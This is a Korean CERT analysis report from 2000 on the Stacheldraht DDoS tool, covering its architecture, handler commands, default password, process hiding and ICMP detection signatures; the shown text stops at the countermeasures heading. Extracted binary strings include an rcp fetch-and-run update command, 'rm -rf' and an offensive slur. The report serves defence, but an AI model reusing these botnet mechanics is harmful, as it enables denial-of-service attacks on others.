Stacheldraht에 의한 서비스 거부공격
작성자 정보
- 웹관리자 작성
- 작성일
컨텐츠 정보
- 7,862 조회
- 0 추천
- 목록
본문
분석 보고서
2000. 2.25
updated 2000. 6. 27
한국정보보호센터 침해사고대응팀
조용상 meteor@kisa.or.kr
I. 서론
1. 서비스 거부 공격(Denial of Service Attack)
서비스 거부 공격이라 함은 일반적으로 공격자의 컴퓨터로부터 표적 시스템과 그 시스템이 속한 네트웍에 과다한 데이터를 보냄으로써 시스템과 네트웍의 성능을 급격히 저하시켜 표적 시스템에서 제공하는 서비스들을 인터넷 사용자들이 이용하지 못하도록 하게 하는 기법을 말한다.
(이하 DoS공격이라 한다.)
2. 분산 서비스 거부 공격 (Distributed Denial of Service Attack)
분산 서비스 거부 공격이라 함은 많은 수의 호스트들에 패킷을 범람시킬수 있는 DoS공격용 프로그램들이 분산 설치되어 이들이 서로 통합된 형태로 어느 목표 시스템(네트웍)에 대하여 일제히 데이터 패킷을 범람시켜서 그 표적 시스템(네트웍)의 성능저하 및 시스템 마비를 일으키는 기법을 말한다. (이하 DDoS공격이라 한다.)
3. DDoS공격에 의한 피해사례
이러한 DoS공격은 TCP SYN flooding공격, UDP flooding공격, ICMP echo requesting공격, ICMP broadcasting 공격(Smurf공격) 등의 형태로 나타나며, 이러한 공격을 수행하기 위해서 다양한 tool이 제작되었다. 그중 최근에 문제가 되는 것은 최근 (2000년 2월) 미국 yahoo 등의 주요 인터넷 site를 수 시간 동안 작동불등 상태로 빠뜨린 사건으로서, 전문가들은 이를 분산서비스 거부 공격 방법에 의한 사건으로 보고, 이 사건에 사용된 DoS tool이 TFN2000 (TFN2K) 과 Stacheldraht라는 신종 tool로 보고 있다. 따라서 이번 분석 보고서는 Stacheldraht라는 신종 DDoS 공격 툴을 집중 분석한다.
4. Stacheldraht를 비롯한 DDoS 툴의 출현 시기
1999년 6월 미국에서 2000여개의 해킹당한 시스템에 trinOO 가 출현.
1999년 8월 trinOO와 유사한 TFN(Tribed Flood Network)이 Mixter라는 이름의 인물에 의해 개발됨.
1999년 10월 TFN의 발전된 버전인 Stacheldraht라는 새로운 DDoS툴이 미국 유럽의 해킹당한 시스템에서 출현됨
1999년 12월 역시 TFN의 발전된 형태인 TFN2K출현.
5. 용어
- stacheldraht는 독일어로 철조망 이란 의미이다.
- attacker라 함은 DDoS공격을 하는 사람을 뜻하며
- attack시스템이란 DDoS공격을 위한 master시스템에 접속하기 위한 attacker가 사용하는 (아마도 attacker자신의) 시스템을 말하며,
- master시스템이란 attack시스템으로부터 접속을 허용하여 attacker로부터 명령어를 입력받아 agent시스템에 그 명령을 전달하는데 이용당하는 시스템을 말하며,
- handler프로그램은 master시스템에서 위와 같은 역할을 수행하는 프로그램을 말하며 client프로그램이라고도 한다.
- agent시스템이란 master시스템으로부터 공격 명령을 받아 표적 시스템/네트웍을 향해 다량의 데이터 패킷을 쏟아붓는데 이용당하는 시스템이며,
- daemon프로그램이란 agent시스템에서 위와같은 역할을 수행하는 프로그램을 말한다.
II. Stacheldraht의 구성과 특징
stacheldraht는 이것의 모태에 해당하는 trinoo와 TFN이 갖고 있는 특성을 거의 유지하면서 공격자 시스템/ stacheldraht의 master시스템 / 자동적으로 업 데이트되는 agent daemon과의 사이의 통신에 암호화기능이 추가된 것이다.
1. 소스 코드의 구성
전작인 trinoo나 TFN처럼 stacheldraht도 client(handler)와 daemon프로그램으로 구성된다,
다음은 stacheldraht의 소스코드를 구성하고 있는 파일들과 실행코드로의 컴파일 과정이다.
| [cert] /stacheldrahtV4> ls -al /* master 시스템에서 사용할 프로그램 */ drwxr-xr-x 4 root 512 Jan 11 09:39 . drwxr-xr-x 7 root 512 Feb 17 19:22 .. -rw-r--r-- 1 root 167 Sep 16 09:21 Makefile -rw-r--r-- 1 root 13232 Aug 25 13:26 bf_tab.h -rw-r--r-- 1 root 6597 Aug 25 13:26 blowfish.c -rw-r--r-- 1 root 1291 Aug 25 13:26 blowfish.h -rw-r--r-- 1 root 1276 Feb 5 23:36 config.h drwxr-xr-x 2 root 512 Oct 17 16:14 leaf -rw-r--r-- 1 root 39655 Feb 6 00:18 mserv.c drwxr-xr-x 2 root 512 Oct 17 16:16 telnetc -rw-r--r-- 1 root 3089 Aug 25 13:26 tubby.h [cert] /stacheldrahtV4> ls -al leaf [cert] /stacheldrahtV4> ls -al telnetc |
/* 컴파일 과정 */
[master] /stacheldrahtV4> gcc -lcrypt mserv.c [master] /stacheldrahtV4> ls -al mserv [agent] /leaf> gcc -O6 -fomit-frame-pointer -s td.c blowfish.c -DSOLARIS -o td -O6 -lnsl -lsocket [agent] /leaf> ls -al td [attack] /telnetc> gcc -lcrypt client.c blowfish.c -o [attack] /telnetc> ls -al client | |
(한국정보보호센터에서 분석한 이 소스코드는 외국의 해킹사고 조사과정에서 발견된 것으로서, 1999년 8월 - 10월 사이에 코딩된 것으로 추정되며 이 이후에 새로운 버전이 출현했을 가능성도 배제할수 없다.)
한가지 유념할 것은, 침입자가 source code를 수정하였을 경우에는 이 분석 리포드에서 사용된 prompt나 password, command, TCP/UDP port number, 공격 기능, signature, 기타의 특징들이 얼마든지 변형될수 있다는 것을 미리 말해두는 바이다.
2. 추가된 코드
기존의 TFN의 약점이라면, attacker가 master시스템의 client(handler)프로그램에 command를 입력하기 위해서는 attack시스템으로부터 master시스템으로의 connection에 의해야 하는데, 이 connection에 의해 암호문이 아닌 평문으로 오가는 (atacker입장에서는 매우 중요한)데이터들이 (또다른 해커나 시스템 관리자에게) TCP session hijacking이나 RST sniping등의 일반적으로 알려진 TCP기반 취약점에 노출되어 있다.
Stacheldraht는 이 문제점을 극복하기 위하여, attack시스템에서 master시스템으로 통신을 위해 기존 유닉스의 telnet 비스무레한 암호화 통신 프로그램을 추가하였다.
위의 telnetc디렉토리에 있는 client.c라는 소스코드가 바로 그것이다.
(주의: 여기서 나온 telnetc/client.c라는 것은 그냥 단순한 파일이름으로서
용어 항목에서 정의한 master시스템의 client프로그램의 개념과 혼동하지 않기를 바란다.)
3. Platform
Stacheldraht의 daemon프로그램은 주로 Solaris2.x로(에서) 그 실행코드가 발견되고 있다.
이는 Solaris2.x의 rpc.statd, rpc.cmsd, rpc.ttdbserved등의 RPC서비스의 버퍼 오버플로우 버그에 의해 해킹당한후 attacker에 의해 agent나 master시스템으로 이용당하기 때문이다.
그러나 소스코드의 Makefile의 rule은 solaris와 linux에 대한 rule을 모두 정의하고 있기 때문에
이 두가지 OS를 탑재한 시스템이 해킹당한 경우 master나 agent로 이용당할 가능성이 크다고 할수있다.
4. DDoS 공격 기능
stacheldraht는 TFN이나 TFN2K처럼 ICMP flood, SYN flood, UDP flood와「Smurf」등의 공격에 의해서 DDoS공격을 할수 있는 기능을 가지고 있다.
이 공격은 크게 다음의 단계를 거친다고 볼수 있다.
- intrusion 및 client(handler), daemon프로그램 설치 단계
이 단계는 전통적인 의미의 해킹으로서 master와 agent로 이용할 수백 내지 수천개의 시스템에 침입하여 root권한을 획득한 후 그곳에 client와 daemon프로그램을 심어놓는 것이다. 이 작업을 위해서는 단시간내 많은 시스템을 연달아 remote해킹할 수 있는 자동화된 최신 해킹툴이 이용된다. - DDoS공격 단계
attack시스템에서 master시스템과의 암호통신용 프로그램을 실행시켜서 master를 통해 agent시스템의 daemon으로 하여금 표적 시스템/네트웍에 DDoS공격을 한다.
5. Stacheldraht 공격의 논리적 계통도 (이른바 stacheldraht network)
application관점 :
통신 프로그램 --> handler(client) -->
daemon --> victim's TCP, UDP, ICMP
호스트 관점 :
attack host --> master(s) host -->
agent(s) host --> victim(s) host
stacheldraht network은 1개 또는 그 이상의 handler(client) 프로그램 (mserv.c)과, daemon 프로그램(leaf/td.c)들의 집합으로 구성된다. 공격자는 telnet 비스무레한 암호화프로그램(telnetc/client.c)를 사용하여, handler(client) 에 접속해 통신한다.
<그림 stacheldraht network>
attacker는 encryption기능을 제공하는 telnet비스무레한 통신프로그램을 사용하여 1개 또는 다수의 handler(client)를 제어한다. 각 handler(client)는 많은 (agent 시스템에 있는) daemon을 제어할 수 있다.
하나의 handler(client)프로그램에 제어할 수 있는 daemon들의 갯수는 기본적으로 1000개이다.
| master% cat mserv.c ...... ...... /* 1000 sockets are leet0 */ struct sockies s[1000]; /* 1000 structures are needed for connect */ struct sockaddr_in connectstruct[1000]; ...... ...... |
6. 통신
stacheldraht network의 제어는, 명령을 내리는 attacker자신과 handler(client)프로그램 와의 사이의 통신에 대칭키 암호 방식을 사용하는 간단한 프로그램을 통해 이루어된다. 이 통신용 프로그램(telnetc/client.c)는 master의 IP address 를 arguement로 받아 실행된다.
이 경우 master시스템의 16660/TCP port를 통하여 통신이 이루어진다.
<참고 : DDoS공격 도구별 통신 특성>
| DDoS 공격도구 | 통신 포트 |
| trinoo | 1524 tcp, 27665 tcp, 27444 tcp, 31335 udp 사용 |
| TFN | ICMP ECHO, ICMP ECHO REPLY 사용 |
| Stacheldraht | 16660 tcp, 65000 tcp, ICMP ECHO, ICMP ECHO REPLY 사용 |
| TFN2000 | 통신에 특정 포트가 사용되지는 않고 UDP, ICMP, TCP 등이 복합적으로 사용된다. 아마도 실행시에 포트번호가 정해지거나 프로그램에 의해 임의의 포트가 선택되어 진다. |
trinoo는 핸들러와 대리인간의 통신에UDP를 사용하고, 오리지날의TribeFloodNetwork는ICMP를
사용하지만, 그것 과는 달리stacheldraht는TCP를 사용하고 있다.
다음 예에서는 111.222.111.222의 IP address를 갖는 master 시스템에 접속하기 위해 attack시스템에서 attack가 통신프로그램을 실행하는 예이다.
| [attack] ./client 111.222.111.222 [*] stacheldraht [*] (c) in 1999 by ... trying to connect... stacheldraht(status: a!7 d!2)> |
master시스템에 접속에 성공한 후 handler(client)프로그램의 prompt에는 현재 이 handler(client) 프로그램에 기존에 등록되어 있었던 agent중에서 현재 제어할 수 있는 active agent의 갯수가 표시(a!7 : 현재 7개)되며, 또한 제어할 수 없는 agent의 갯수 (d!2 : 현재 2개) 가 동시에 표시된다.
.help 명령을 통해서는 현재 handler프로그램에서 사용할 수 있는 명령어의 리스트를 볼수 있다.
| stacheldraht(status: a!7 d!2)>.help available commands in this version are: -------------------------------------------------- .mtimer .mudp .micmp .msyn .msort .mping .madd .mlist .msadd .msrem .distro .help .setusize .setisize .mdie .sprange .mstop .killall .showdead .showalive -------------------------------------------------- stacheldraht(status: a!7 d!2)> |
7. handler프로그램의 command의 의미
이 문서는 해킹을 위한 메뉴얼이 아니므로 자세한 사용법은 생략하고 어떠한 기능이 있는지 간단히 명령어의 의미만 살펴보도록 하겠다.
- .distro bjhan new.program.server
유닉스의 rcp 명령을 이용하여 new.program.server 라는 시스템에 bjhan이란 login name을 사용하여 들어가서 새 (아마도 update된) daemon프로그램을 현재 daemon이 실행중인 agent시스템에 복사해오라는 명령이다. (self-updating기능) - .help
명령어 리스트를 보여주는 명령. - .killall
현재 제어 가능한 active agent daemon들을 kill한다. - .madd ip1 [:ip2 [:ipN] ]
표적 시스템 리스트에 해당 IP address를 추가한다. - .mdie
모든 agent daemon들에게 die request를 보낸다. - .mdos
DoS공격을 개시한다. - .micmp ip1 [ :ip2 [:ipN] ]
ICMP flood공격을 지정 IP에 대해 개시한다. - .mlist
현재 이루어지고있는 DoS공격의 표적 시스템 IP address 를 모두 보여준다. - .mping
모든 alive agent들에 대하여 ping test를 한다. - .msadd
이용가능한 master의 리스트에 새로운 master를 추가한다. - .msort
ping을 이용하여 dead/alive agent (bcasts)를 카운트하고 비율을 보여주며, dead/alive agent를 sort하여 보여준다. - .mstop ip1 [:ip2 [:ipN] ]
- .mstopall
현재 공격 진행중인 지정 IP address, 또는 모든 IP address로의 공격을 멈춘다. - .msrem
이용가능한 master 리스트로부터 master 를 삭제한다. - .msyn ip1 [:ip2 [:ipN] ]
SYN flood 공격 을 지정한 IP에 대해 개시한다. - .mtimer seconds
얼마나 오랫동안 공격 계속할 것인가를 설정한다. - .mudp ip1 [:ip2 [:ipN] ]
trinOO처럼 UDPflood 공격을 지정한 IP에 대해 개시한다. - .setisize
flooding 에 사용될 ICMP패킷의 사이즈를 설정한다. (MAX= 1024, default) - .setusize
flooding 에 사용될 UDP패킷의 사이즈를 설정한다. (MAX= 1024, default) - .showalive
현재의 alive agent들을 보여준다. - .showdead
현재의 dead agent들을 보여준다. - .sprange lowport-highport
SYN flood 공격 표적의 port number 범위를 설정한다. ( default 0-140)
attack시스템 --> master시스템 간의 연결을 위한 통신 프로그램(telnetc/client.c)을 사용하여 handler(client)프로그램에 접속하자 마자, handler프로그램은 현재 접속자가 자신을 master시스템에 설치해준 attacker인지 여부를 확인하기 위해 (설치한 사람이 handler프로그램 compile당시 집어넣은) password 입력을 요구한다.
이때 입력되는 password(default는 sicken) 는, network을 통해 master시스템의 handler에게 전해지기 전에 "authentication" 이라는 passphrase를 사용하여 encrypt된 상태로 보내어 진다.
9. 프로그램 은닉
TFN처럼 config.h에서는 ps명령어 등으로부터 프로그램 이름을 감추기 위한 여러가지 설정들을 제공하고 있다.
다음은 config.h 파일의 한 예이다.
| #ifndef _CONFIG_H
/* user defined values for the teletubby flood network */ #define HIDEME "(kswapd)" |
trinoo와TFN과 같이 master나 agent로 이용하기 위해 해킹한 시스템에서 handler(client)/daemon 프로그램을 인스톨할 때에는 hidden directory나 rootkit, 커널모듈변경 등의 방법을 사용하여 프로그램이 발견되지 않도록 감추는 것이 보통이다.
10. agent daemon의 self-upgrading기능
이 기능은 rcp명령어(514/tcp)를 사용하여 agent daemon을 self-upgrade할수 있게 하는 기능이다. 일단 attack는 다른 제3의 시스템의 계정을 하나 알아내어 그곳에 upgrade용 agent daemon프로그램을 갖다놓은 후 agent daemon으로 하여금 rcp명령어를 사용하여 그 프로그램 파일을 복사해와서 현재 실행되고 있는 out-of-date한 agent daemon실행파일을 덮어쓴 후 nohup 옵션을 사용하여 새로운 daemon을 실행하게 할 수 있다. nohup 을 붙여서 실행한다는 거은 해당 process를 SIGHUP이나 SIGQUIT 시그널을 무시하고 계속 실행 상태로 만드는 것을 의미한다,
III. stachedraht 프로그램 여부의 확인
일반적으로 대부분의 binary파일들은 파일이 어떤 것인지를 조금은 짐작할 수 있는 string을 가지고 있다. 이런한 string들은 유닉스에서 strings명령어를 통해 볼수 있다.
attack시스템에서 master시스템으로의 통신에 사용되는 telnetc/client.c 을 컴파일한 binary파일 client는 다음과 같은 string을 가지고 있다.
| [cert] /stacheldrahtV4/telnetc> strings client connection closed. usage: client <ip/host> [*] stacheldraht [*] (c) in 1999 by randomizer trying to connect... unable to resolv %s unable to connect. connection established. -------------------------------------- enter the passphrase : authentication failed authentication failed. entering interactive session. ./0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ huhu psD ........(이하 생략) |
master시스템에 설치되는 handler(client)프로그램인 mserv.c 를 컴파일한 binary파일 mserv의 경우는 다음과 같다.
[cert] /stacheldrahtV4> strings mserv
%d.%d.%d.%d
dRFWfIGlF0zrE
* mtimer reached *
.quit
exiting...
you need to stop the packet action first.
.help
.version
[*]stacheldraht[*] mserver version: 4.0
setusize
......
......
showalive
add some bcasts mofo.
killing all active childs...
usage: .sprange <lowport-highport>
example: .sprange 0-140
low port is : %i
high port is : %i
request was sent to the network.
usage: .setusize <udp packet size (<=1024)>
current udp packet size is %ibytes
udp packet size was set to %i bytes.
udp packet size is too large.
usage: .setisize <icmp packet size (<=1024)>
current icmp packet size is %ibytes
icmp packet size was set to %i bytes.
icmp packet size is too large.
sending mass die request...
finished.
.mudp
starting trinoo emulation...
removing useful commands.
- DONE -
available commands in this version are:
--------------------------------------------------
.mtimer .mudp .micmp .msyn .msort .mping
.madd .mlist .msadd .msrem .distro .help
.setusize .setisize .mdie .sprange .mstop .killall
.showdead .showalive
usage: .distro <user> <server that runs rcp>
remember : the distro files need to be executable!
that means: chmod +x linux.bin , chmod +x sol.bin ;))
sending distro request to all bcasts....
user : %s
rcp server :
unable to resolve - %s
unable to send distro request.
request was sent, wait some minutes ;)
usage: .msrem <masterserver>
removing masterserver -
failed.
usage: .msadd <masterserver>
adding masterserver -
no packet action at the moment, sir.
the followings ip(s) are getting packeted...
--------------------------------------------
[*] stacheldraht [*] is packeting %d ips
[*] stacheldraht [*] is packeting 1 ip
.mstop all
deleting from packetlist...
%s - removed.
%s - skipped.
restarting packeting routines...
niggahbitch
usage: .madd <ip1:ip2:ip3:ip4>
adding to packetlist...
%s - added.
usage: .mtimer <seconds to packet>
packet timer was set to %d seconds
usage: .mstop <all> or <ip1:ip2:ip3:ip4:ip5 etc..>
packeting stopped.
usage: .msyn <ip1:ip2:ip3:ip4:ip5 etc..>
the net is already packeting.
mass syn flooding
%i floodrequests were sent to %i bcasts.
usage: .micmp <ip1:ip2:ip3:ip4:ip5 etc..>
mass icmp bombing
usage: .mudp <ip1:ip2:ip3:ip4:ip5 etc..>
mass udp bombing
tR1n00(status: a!%i d!%i)>
stacheldraht(status: a!%i d!%i)>
waiting for ping replies...
total bcasts : %d - 100%
alive bcasts : 0 - 0%
alive bcasts : %d - %d%
dead bcasts : %d - %d%
showing the alive bcasts...
---------------------------
alive bcasts: %i
showing the dead bcasts...
--------------------------
dead bcasts: %i
sorting out all the dead bcasts
-------------------------------
%d dead bcasts were sorted out.
[*]-stacheldraht-[*] - forking in the background...
%i bcasts were successfully read in.
3.3.3.3
spoofworks
ficken
authentication
failed
******************************
welcome to stacheldraht
type .help if you are lame
./0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ
huhu
[0;35mTribe Flood Network (c) 1999 by
[5mMixter
psD
agent시스템에 설치되는 daemon프로그램인 td.c 를 컴파일한 binary파일 td의 경우는 다음과 같다.
| [cert] /stacheldrahtV4/leaf> strings td %d.%d.%d.%d ICMP Error sending syn packet. tc: unknown host 3.3.3.3 randomsucks skillz rm -rf %s init rcp %s@%s:sol.bin %s nohup ./%s 111.222.111.222 /* master시스템의 IP address */ 224.0.0.3 nfsiod sicken ./0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ psD ...... 이하 생략 |
각각의 agent에서 daemon이 실행될때에는, 어디에 있는 master시스템의 handler(client) 프로그램으로부터 지휘를 받아야 할지를 알아야 한다. 이것은 agent daemon을 컴파일 하기 전에 td.c 소스코드에서 정의한다. 여기서 설정된 IP주소가 위의 binary파일의 string에 들어가 있음을 볼수있다.
| /* default masterservers */ #define MSERVER1 "111.222.111.222" #define MSERVER2 "224.0.0.3" |
agent daemon이 자신을 지휘할 handler들의 list가 결정되면 agent damon은 자신을 지휘할 handler들에게 ID필드 "666", 데이터 필드에 "skillz" 이 포함된 ICMP ECHO_REPLY패킷을 보낸다.
handler가 패킷을 받은 경우는, ID필드 667, 데이터 필드에 "ficken"이 포함된 ICMP ECHO_REPLY 패킷을 다시 보내준다.
IV. stacheldraht 검출을 위한 network 모니터링
1. sniffit를 사용한 ICMP packet 검출
DDoS 분석용 네트웍 감시 tool인 sniffit (http://sniffit.rug.ac.be/sniffit/sniffit.html)를 이용하여 master와 agent사이에 오가는 ICMP packet을 검출한 결과는 다음과 같다.
여기서 100.1.1.1은 agent의 IP address, 111.222.111.222는 master의 IP address를 의미한다.
| ICMP message id: 100.1.1.1 > 111.222.111.222 /* agent -> master */ ICMP type: Echo reply 45 E 00 . 04 . 14 . 01 . 0F . 00 . 00 . 40 @ 01 . E9 . 53 S 0A . 00 . 00 . 01 . C0 . A6 . 00 . 01 . 00 . 00 . B4 . 13 . 02 . 9A . 00 . 00 . 00 . 00 . 00 . 00 . 00 . 00 . 00 . 00 . 00 . 00 . 00 . 00 . 00 . 00 . 00 . 00 . 00 . 00 . 00 . 00 . 73 s 6B k 69 i 6C l 6C l 7A z 00 . 00 . 00 . 00 . 00 . 00 . 00 . 00 . 00 . 00 . 00 . 00 . 00 . 00 . 00 . 00 . 00 . 00 . 00 . 00 . 00 . 00 . 00 . 00 . 00 . 00 . . . . [60 lines of zeros deleted] 00 . 00 . 00 . 00 . ICMP message id: 111.222.111.222 > 100.1.1.1 /* master -> agent */ |
2. ngrep을 사용한 ICMP packet검출
일부 vendor의 UNIX시스템(ex: Digital UNIX)의 경우에는 tcpdump와 비슷한 기능을 하는 ngrep이라는 유틸리티를 지원해 주는데 이 ngrep의 출력결과는 다음과 같다.
| # ngrep -x "*" icmp interface: eth0 (0.0.0.0/0.0.0.0) filter: ip and ( icmp ) Kernel filter, protocol ALL, raw packet socket match: * # I 100.1.1.1 -> 111.222.111.222 0:0 /* agent -> master */ 02 9a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00 00 00 00 00 00 00 00 73 6b 69 6c 6c 7a 00 00 ........skillz.. [ 61 lines of zeroes deleted ] 00 00 00 00 00 00 00 00 00 00 00 00 ............ # I 111.222.111.222 -> 100.1.1.1 0:0 /* master -> agent */ 02 9b 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00 00 00 00 00 00 00 00 66 69 63 6b 65 6e 00 00 ........ficken.. [ 61 lines of zeroes deleted ] 00 00 00 00 00 00 00 00 00 00 00 00 ............ # |
3. agent - master간 agent시스템 IPaddress 위조 테스트 패킷 모니터링
agent daemon이 실제로 표적 시스템/네트웍에 DDoS공격을 실행할 경우에는 표적 시스템쪽에서 agent의 IP를 추적하지 못하도록 source address를 위장한 데이터로 공격을 함이 보통이다. 그런데 어떤 네트웍의 라우터에서는 source address가 위장된 패킷은 바깥으로 나가지 못하도록 설정되어 있는 경우가 있다.
그래서 agent daemon은 active handler(client)를 찾는 것 외에도, 현재 agent가 속해있는 network에서 위조된 source address를 가지는 packet이 network 바깥으로 나갈수 있는지는 테스트한다.
agent daemon은 IP header부분에 위조된 source IP address(ex: 7.7.7.7), ICMP ID 필드에 "666" , 그리고 데이터 필드에 agent의 IP address를 포함하는 ICMP ECHO request packet을 master시스템의 handler에게 보낸다.
보통 ICMP 패킷의 헤더 부분에는 ICMP 메시지의 종류를 구분하기 위해 type 라는 영역이 있는데 이 영역에는 0,3,4,5,8,9,10,11,12,13,14,15,16,17,18만이 들어갈 수 있다. (참고로 ICMP ECHOREPLY의 경우에는 type이 0 이며, ICMP ECHO request의 경우에는 type 8이다.) 그런데 agent daemon이 master로 보내는 source address 위조 테스트 패킷에는 이 ICMP 헤더의 type영역에 7이 들어가게 됨이 특징이다.
master시스템의 handler가 이 패킷을 수신하게 되면 handler는 다시 ICMP ECHOREPLY packet으로 테스트가 성공적이라는 답신을 보내게 된다. 이 패킷은 ID 필드에는 1000, 데이터 필드에는 "spoofworks" 라는 문자열이 포함하여 agent daemon이 보낸 테스트 패킷의 데이터필드에 들어있는 진짜 agent IP address로 보내어 진다. agent daemon이 이 답신을 받게되면 agent daemon은 spoof_level을 0으로 설정한다.
spoof_level 0이란 IP주소를 표현하는 32비트중 32비트 모두를 위조 가능한 레벨이다.
만일 agent 시스템이 속해있는 네트웍의 라우터가 source address위조 패킷이 바깥으로 나가는 것을 금하는 outgoing 필터링 기능이 설치되어 있는 경우에는 agent daemon은 master시스템의 handler로부터 답신을 받지 못하게 되고 이렇게 일정한 시간이 경과되면 agent daemon은 source address위조가 불가능한 것으로 판단하여 spoof_level을 3으로 설정하게 된다.
spoof_level 3이란 IP주소 32비트 중 가장 뒤에 있는 8비트만 위조 가능한 레벨이다. ( agent 시스템이 속해있는 네트웍 라우터의 outgoing 필터링을 통과할수 있도록.)
이러한 과정의 패킷 이동을 tcpdump와 ngrep으로 보게되면 다음과 같다.
| # tcpdump icmp . . . 14:15:35.151061 7.7.7.7 > 111.222.111.222 : icmp: echo request [tos 0x7] 14:15:35.177216 111.222.111.222 > 100.1.1.1: icmp: echo reply . . . # ngrep -x "*" icmp |
4. master-agent간 ICMP 패킷 통신을 검출해 내기 위한 일반적인 방법
이제까지 살펴보았듯이 master시스템의 handler와 agent daemon은 서로 어떤 특정한 통신을 하기 위하여 암호화되지 않은 상태의 ICMP 패킷을 주고받는다. 그경우 ICMP 패킷을 보면,
ID : 666, 데이터 필드 : skillz agent --> master
ID : 667, 데이터 필드 : ficken agent <-- master
ID : 666, 데이터 필드 : 위조된 소스IP주소 agent --> master
ID : 1000, 데이터 필드 : spoofworks agent <-- master
ID : 668, 데이터 필드 : gesundheit! agent --> master /* ID test */
ID : 669, 데이터 필드 : sicken
agent <-- master /* ID test */
기타 데이터 필드 : niggahbitch
등의 ID필드와 데이터필드를 가진다.
따라서 tcpdump나 tcpshow같은 네트웍 모니터링 툴을 이용하여 agent-master간 통신을 감시하여 agent daemon이나 master handler(client)프로그램이 깔려있는 시스템을 찾아낼 수 있다.
가령 ID 669 이고 데이터 필드 sicken
인 ICMP패킷을 잡아서 master의 IP주소를 찾아내기 위해서는 다음과 같이 한다.
| # tcpdump -s 1500 -w stach.dump 'icmp[4:2] = 669' # tcpshow < stach.dump | egrep "Source IP|sicken" tcpdump: Filtering in user process Source IP Address: 111.222.111.222 ....................sicken |
이러한 기법을 이용하여 그동안 agent와 master들을 찾아낼수 있는 툴들이 발표되었으며
다음의 것들이 있다.
FBI에서 만든
Find Distributed Denial of Service (find_ddos) 3.0 (Intel)
Find Distributed Denial of Service (find_ddos) 3.0 (Sparc)
http://www.fbi.gov/nipc/trinoo.htm
그러나 FBI에서 제공하는 이 툴들은 소스코드를 공개하지 않고 binary로만 제공하기 때문에 툴의 특성은 정확히 알수 없다.
한편, theorygroup이란 곳에서는 RID라는 DDoS도구 검출 tool을 제작하여 공개 배포하고 있으며 다음에서 구할수 있다.
http://theorygroup.com/Software/RID/
5. handler(client)프로그램의 실행상황 검출을 통한 위치추적
실행프로그램의 상황을 볼수 있는 lsof프로그램을 이용하여 handler(client)프로그램이 사용하고 있는 자원들과 network상황을 살펴보게 되면 이에 연결되어 있는 agent의 IP주소를 알수 있다,
| master# lsof -c mserv COMMAND PID USER FD TYPE DEVICE SIZE NODE NAME mserv 1072 root cwd DIR 3,3 2048 40961 /tmp/... mserv 1072 root rtd DIR 3,3 1024 2 / mserv 1072 root txt REG 3,3 50506 41421 /tmp/.../mserv mserv 1072 root mem REG 3,3 342206 30722 /lib/ld-2.1.1.so mserv 1072 root mem REG 3,3 63878 30731 /lib/libcrypt-2.1.1.so mserv 1072 root mem REG 3,3 4016683 30729 /lib/libc-2.1.1.so mserv 1072 root 0u CHR 136,4 6 /dev/pts/4 mserv 1072 root 1u CHR 136,4 6 /dev/pts/4 mserv 1072 root 2u CHR 136,4 6 /dev/pts/4 mserv 1072 root 3u sock 0,0 2143 can't identify protocol mserv 1073 root cwd DIR 3,3 2048 40961 /tmp/... mserv 1073 root rtd DIR 3,3 1024 2 / mserv 1073 root txt REG 3,3 50506 41421 /tmp/.../mserv mserv 1073 root mem REG 3,3 342206 30722 /lib/ld-2.1.1.so mserv 1073 root mem REG 3,3 63878 30731 /lib/libcrypt-2.1.1.so mserv 1073 root mem REG 3,3 4016683 30729 /lib/libc-2.1.1.so mserv 1073 root 0u CHR 136,4 6 /dev/pts/4 mserv 1073 root 1u CHR 136,4 6 /dev/pts/4 mserv 1073 root 2u CHR 136,4 6 /dev/pts/4 mserv 1073 root 3u inet 2144 TCP *:16660 (LISTEN) mserv 1088 root cwd DIR 3,3 2048 40961 /tmp/... mserv 1088 root rtd DIR 3,3 1024 2 / mserv 1088 root txt REG 3,3 50506 41421 /tmp/.../mserv mserv 1088 root mem REG 3,3 342206 30722 /lib/ld-2.1.1.so mserv 1088 root mem REG 3,3 63878 30731 /lib/libcrypt-2.1.1.so mserv 1088 root mem REG 3,3 4016683 30729 /lib/libc-2.1.1.so mserv 1088 root 0u CHR 136,4 6 /dev/pts/4 mserv 1088 root 1u CHR 136,4 6 /dev/pts/4 mserv 1088 root 2u CHR 136,4 6 /dev/pts/4 mserv 1088 root 3r FIFO 0,0 2227 pipe mserv 1088 root 5w FIFO 0,0 2227 pipe mserv 1091 root cwd DIR 3,3 2048 40961 /tmp/... mserv 1091 root rtd DIR 3,3 1024 2 / mserv 1091 root txt REG 3,3 50506 41421 /tmp/.../mserv mserv 1091 root mem REG 3,3 342206 30722 /lib/ld-2.1.1.so mserv 1091 root mem REG 3,3 63878 30731 /lib/libcrypt-2.1.1.so mserv 1091 root mem REG 3,3 4016683 30729 /lib/libc-2.1.1.so mserv 1091 root 0u CHR 136,4 6 /dev/pts/4 mserv 1091 root 1u CHR 136,4 6 /dev/pts/4 mserv 1091 root 2u CHR 136,4 6 /dev/pts/4 mserv 1091 root 3r FIFO 0,0 2240 pipe mserv 1091 root 4u inet 2215 TCP 111.222.111.222:16660->100.1.1.1:1029 (ESTABLISHED) mserv 1091 root 5w FIFO 0,0 2240 pipe |
한편 참고로 agent의 프로세스 상황을 lsof로 살펴보면 다음과 같다.
| agent#lsof -c td COMMAND PID USER FD TYPE DEVICE SIZE NODE NAME ttymon 437 root cwd DIR 3,1 1024 37208 /usr/lib/libx/... ttymon 437 root rtd DIR 3,1 1024 2 / ttymon 437 root txt REG 3,1 324436 37112 /usr/lib/libx/.../td ttymon 437 root mem REG 3,1 243964 29140 /lib/libnss_files-2.1.1.so ttymon 437 root mem REG 3,1 4016683 29115 /lib/libc-2.1.1.so ttymon 437 root mem REG 3,1 342206 28976 /lib/ld-2.1.1.so ttymon 437 root 3u sock 0,0 779 can't identify protocol ttymon 449 root cwd DIR 3,1 1024 37208 /usr/lib/libx/... ttymon 449 root rtd DIR 3,1 1024 2 / ttymon 449 root txt REG 3,1 324436 37112 /usr/lib/libx/.../td ttymon 449 root 0u inet 811 TCP *:32222 (LISTEN) ttymon 449 root 3u sock 0,0 779 can't identify protocol |
V. master나 agent로 이용당하지 않기 위한 대비책
DDoS공격을 당하여 서비스 불능 상태에 빠지는 네트웍 기관보다도 오히려
